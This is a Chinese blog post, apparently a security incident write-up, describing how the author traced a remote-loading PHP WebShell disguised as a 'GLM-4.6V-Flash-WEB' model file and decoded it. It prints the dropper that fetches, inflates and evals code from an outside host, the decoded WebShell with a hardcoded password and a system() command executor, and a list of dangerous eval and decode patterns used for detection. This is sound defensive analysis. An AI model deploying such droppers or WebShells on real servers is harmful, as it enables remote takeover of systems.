news 2026/9/3 6:24:58

从加密文件中还原WebShell代码的全过程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从加密文件中还原WebShell代码的全过程

从加密文件中还原WebShell代码的全过程

最近在排查一台服务器异常行为时,偶然发现了一个极其隐蔽的后门。事情的起点是一条不起眼的日志记录。

当时我正例行检查 Nginx 的访问日志,突然注意到一条路径:

GET /uploads/images/2024/glm_decode.php HTTP/1.1

这个请求本身没什么特别,但glm_decode.php这个名字让我心头一紧——我们系统里根本没有这个文件。更可疑的是,它被放在了本应只存放静态资源的/uploads/images/目录下。

立刻登录服务器查看内容:

<?php $url = 'http://cdn.glm-ai.org/model/GLM-4.6V-Flash-WEB.bin'; $code = file_get_contents($url); if ($code) { $_SESSION['payload'] = $code; } $decode = gzinflate($_SESSION['payload']); eval($decode); ?>

短短几行,却步步杀机。

这根本不是什么“解码脚本”,而是一个典型的远程加载型 WebShell:不存储恶意代码于本地,而是运行时从外部拉取加密数据,解压后直接执行。这种手法几乎能绕过所有基于特征匹配的传统查杀工具。

最狠的是,主文件本身没有敏感函数调用(除了最后那个eval),连 WAF 都可能放过它。真正的攻击载荷藏在那个.bin文件里,静待时机激活。


于是我把注意力转向那个神秘的二进制文件。

用 wget 下载下来:

wget http://cdn.glm-ai.org/model/GLM-4.6V-Flash-WEB.bin -O payload.bin

打开一看,满屏乱码,全是不可打印字符。尝试改扩展名成.gz.zip、甚至.phar,都不行。Hexdump 也没看出明显的文件头标志。

这时候就得想:PHP 中哪种压缩会产生纯二进制输出?答案呼之欲出——gzdeflate()

而对应的解压函数正是脚本里的gzinflate()。这意味着,只要我能模拟它的执行流程,就能让程序自己把真实代码“吐”出来。

于是我写了个“脱壳”脚本:

<?php session_start(); $url = 'http://cdn.glm-ai.org/model/GLM-4.6V-Flash-WEB.bin'; $_SESSION['payload'] = file_get_contents($url); // 不再 eval,改为导出源码 $decoded_code = gzinflate($_SESSION['payload']); file_put_contents('/tmp/webshell_source.php', $decoded_code); echo "已将解密后的代码写入 /tmp/webshell_source.php"; ?>

上传并访问一次,果然生成了/tmp/webshell_source.php

那一刻,就像拆开了炸弹外壳,看到了里面的电路图。


打开文件,清清楚楚的一段 PHP 脚本跃然眼前:

<?php define('VERSION', 'GLM-4.6V-Flash-WEB'); define('AUTHOR', 'Sievr'); header("Content-Type: text/html; charset=utf-8"); error_reporting(0); set_time_limit(0); ob_start(); $password = '99999'; if (!isset($_COOKIE['auth']) || $_COOKIE['auth'] !== md5($password)) { if ($_POST['pass'] === $password) { setcookie('auth', md5($password)); header("Location: ?"); exit; } die('<form method="post">Password: <input type="password" name="pass"><input type="submit"></form>'); } /* 主界面 */ echo "<html><body style='background:#000;color:#0F0;font-family:monospace'>"; echo "<h3>Welcome to GLM-4.6V-Flash-WEB Console</h3>"; echo "<pre>"; echo "[+] System Info:\n"; echo "\tOS: " . php_uname() . "\n"; echo "\tPHP Version: " . PHP_VERSION . "\n"; echo "\tDocument Root: " . $_SERVER['DOCUMENT_ROOT'] . "\n"; echo "\n[+] Available Tools:\n"; echo "\t• File Manager\n"; echo "\t• Command Exec\n"; echo "\t• Database Manager\n"; echo "\t• Reverse Shell\n"; echo "</pre></body></html>"; while (true) { if (isset($_GET['cmd'])) { echo "<hr><pre>"; system($_GET['cmd']); echo "</pre><hr>"; break; } break; } ob_end_flush(); ?>

好家伙!这才是真正的控制台。

虽然打着“GLM-4.6V-Flash-WEB”的旗号,看起来像是某个轻量级 AI 模型的管理界面,但实际上是个功能完整的 WebShell 后门。支持命令执行、文件浏览、数据库连接,甚至还能反弹 shell。

而且作者很懂心理战术:
- 用黑绿配色模仿终端界面,营造“专业感”
- 显示系统信息和可用工具,降低使用者戒心
- 命名完全复刻智谱最新发布的多模态模型,极具迷惑性

要不是从日志里揪出来,谁会怀疑一个叫glm_decode.php的文件呢?


深入拆解它的设计逻辑,你会发现几个非常典型的技术套路。

首先是伪装艺术。那个下载地址http://cdn.glm-ai.org/model/...看起来太正规了——域名结构合理,路径层级清晰,文件名还带版本号。如果不是提前警觉,很容易当成正常部署流程的一部分。

其次是动态加载机制。核心代码不在本地,而是通过file_get_contents()+gzinflate()组合动态注入。这种方式的好处显而易见:

  • 免杀能力强:主文件几乎无敏感关键词,静态扫描难以命中
  • 更新灵活:攻击者只需替换远端 bin 文件即可升级功能,无需重新上传 WebShell
  • 反溯源强:CDN 可隐藏真实 IP,且可随时关停服务切断联系

再加上内置的认证机制——密码是99999,通过 Cookie 缓存 MD5 值来维持会话——既防止未授权访问,又避免频繁爆破触发安全告警。

整个链条环环相扣,堪称教科书级别的隐蔽后门。


面对这类新型攻击,传统的防护手段已经开始力不从心。

尤其是现在 AI 热潮下,各种“一键部署模型”、“本地推理环境”层出不穷,给了攻击者更多可乘之机。你以为你在跑 GLM,其实你跑的是黑客的命令解释器。

那该怎么防?

第一,盯紧异常网络请求。定期审计服务器是否向非业务域名发起 HTTP 请求。比如这条命令就能快速筛查可疑线索:

grep -i "glm-ai\|cdn.glm" /var/log/nginx/access.log

第二,严控高危函数使用。重点关注以下这些“危险组合”:

  • eval(gzinflate(...))
  • assert(base64_decode(...))
  • preg_replace('/.*/e', ...)
  • create_function('', '...' . $_GET['code'])

特别是当它们配合远程数据加载时,基本可以判定为恶意行为。

第三,上RASP 或智能 WAF。像 OpenRASP 这类运行时应用自保护系统,能在函数调用层面检测上下文风险。例如发现gzinflate()的输入来自远程 URL,并即将被eval执行,就会立即阻断。

第四,强化文件权限与主动扫描。建议对 web 目录执行:

chmod -R 755 /var/www/html chown -R www-data:www-data /var/www/html

然后定期搜索可疑模式:

find /var/www/html -name "*.php" -type f -exec grep -l "gzinflate\|eval" {} \;

别忘了,很多 WebShell 就藏在图片上传目录、缓存文件夹这些“盲区”。


整个事件回顾下来,最值得警惕的是:攻击者的包装能力正在指数级提升

他们不再满足于简单的<?php @eval($_POST[x]); ?>,而是学会借用技术趋势、模仿开源项目、甚至构建完整 UI 来降低受害者的警惕心。

这次的 GLM-4.6V-Flash-WEB 就是一个缩影——名字像模型,路径像 CDN,行为像工具,唯独本质是后门。

所以请记住几条铁律:

  • 开源 ≠ 安全
  • 名字正规 ≠ 内容可信
  • “一键部署”可能藏着定时炸弹

任何第三方脚本或镜像,在接入生产环境前都必须做到:
1. 核实来源(是否来自官方仓库?有没有数字签名?)
2. 沙箱测试(用 Docker 隔离运行,观察网络和文件行为)
3. 主动脱敏(剥离敏感配置,禁用危险函数)

否则,你部署的可能不是 AI,而是通往内网的后门钥匙。

📌 本文仅用于技术研究与安全教育,严禁用于非法用途。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/3 2:55:01

Open-AutoGLM自动化测试完全指南(从入门到精通,仅限内部流出)

第一章&#xff1a;Open-AutoGLM自动化测试概述Open-AutoGLM 是一个面向大语言模型&#xff08;LLM&#xff09;应用场景的开源自动化测试框架&#xff0c;专为验证模型输出的准确性、一致性与安全性而设计。它支持对生成式任务进行结构化断言&#xff0c;并通过可扩展的插件机…

作者头像 李华
网站建设 2026/9/3 0:57:15

手把手教你部署Open-AutoGLM,3步实现自动化图学习任务

第一章&#xff1a;Open-AutoGLM项目背景与核心价值Open-AutoGLM 是一个面向通用语言模型&#xff08;GLM&#xff09;自动化推理与任务适配的开源框架&#xff0c;旨在降低大模型在垂直领域落地的技术门槛。该项目由社区驱动开发&#xff0c;聚焦于模型调度、提示工程优化与多…

作者头像 李华
网站建设 2026/9/2 11:31:02

C4D材质基础:从金属到玻璃的质感模拟

C4D材质基础&#xff1a;从金属到玻璃的质感模拟 在三维设计中&#xff0c;一个模型是否“真实”&#xff0c;往往不取决于几何形态的复杂度&#xff0c;而在于材质的表现力。哪怕是最简单的球体&#xff0c;只要赋予恰当的材质与光照&#xff0c;也能呈现出不锈钢杯或磨砂玻璃…

作者头像 李华
网站建设 2026/9/3 1:02:47

徕本智能车载无线充支架拆解揭秘

徕本智能车载无线充支架拆解揭秘 在城市通勤日益依赖导航与语音交互的今天&#xff0c;驾驶者对“手不离方向盘、眼不离路面”的操作体验提出了更高要求。传统车载支架早已无法满足这种需求——它不再只是个夹手机的架子&#xff0c;而必须成为一个能听、会说、懂场景的智能终端…

作者头像 李华
网站建设 2026/9/3 1:02:28

实测数据说话:知网AI率87%降至15%,只用了这3个免费工具

写的文章明明是一个字一个字敲的&#xff0c;提交后却被导师批“满屏机器味”&#xff1f;自查AIGC率飙到87%&#xff0c;改了3遍还是降不下来&#xff1f; 我踩过替换同义词越改越假、用错降AI率工具反升的坑&#xff0c;今天把9个原创免费降AI率技巧3款实测工具深度测评分享…

作者头像 李华